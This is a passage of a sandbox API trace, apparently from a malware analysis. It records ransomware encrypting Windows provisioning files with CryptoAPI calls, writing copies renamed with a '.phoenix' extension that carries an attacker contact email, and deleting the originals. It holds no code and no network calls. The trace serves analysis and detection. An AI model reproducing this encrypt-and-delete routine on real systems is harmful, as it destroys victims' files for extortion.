	[0256.956] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.956] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.956] CloseHandle (hObject=0x2f4) returned 1
	[0256.956] CloseHandle (hObject=0x2e0) returned 1
	[0256.956] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\646__connections_cellular_macheen -3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.957] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.957] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.958] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=725) returned 1
	[0256.958] CloseHandle (hObject=0x2e0) returned 1
	[0256.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.958] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.958] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0256.959] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.959] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d5, lpOverlapped=0x0) returned 1
	[0256.960] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0256.960] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0256.961] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.961] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.961] CryptDestroyKey (hKey=0x151380) returned 1
	[0256.961] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.961] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.961] CloseHandle (hObject=0x2e0) returned 1
	[0256.961] CloseHandle (hObject=0x2f4) returned 1
	[0256.961] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.962] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.962] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.963] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=725) returned 1
	[0256.963] CloseHandle (hObject=0x2f4) returned 1
	[0256.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.963] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.964] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.964] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0256.964] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.964] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d5, lpOverlapped=0x0) returned 1
	[0256.967] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0256.967] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.968] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0256.968] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.968] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.968] CryptDestroyKey (hKey=0x151140) returned 1
	[0256.968] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.968] CryptDestroyKey (hKey=0x151100) returned 1
	[0256.968] CloseHandle (hObject=0x2f4) returned 1
	[0256.968] CloseHandle (hObject=0x2e0) returned 1
	[0256.968] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.969] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.969] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.970] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=698) returned 1
	[0256.970] CloseHandle (hObject=0x2e0) returned 1
	[0256.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.970] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.970] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.970] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.970] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.971] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0256.971] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.971] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ba, lpOverlapped=0x0) returned 1
	[0256.972] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0256.972] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0256.973] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0256.973] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.973] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.973] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.973] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.973] CryptDestroyKey (hKey=0x151380) returned 1
	[0256.973] CloseHandle (hObject=0x2e0) returned 1
	[0256.973] CloseHandle (hObject=0x2f4) returned 1
	[0256.973] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.974] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.975] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=473) returned 1
	[0256.975] CloseHandle (hObject=0x2f4) returned 1
	[0256.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0256.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.975] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.975] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.975] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.975] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.976] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0256.976] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.976] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d9, lpOverlapped=0x0) returned 1
	[0256.977] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0256.977] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0256.978] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0256.978] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.978] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0256.978] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.978] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0256.978] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.978] CloseHandle (hObject=0x2f4) returned 1
	[0256.978] CloseHandle (hObject=0x2e0) returned 1
	[0256.978] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0256.979] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.980] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0256.980] CloseHandle (hObject=0x2e0) returned 1
	[0256.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
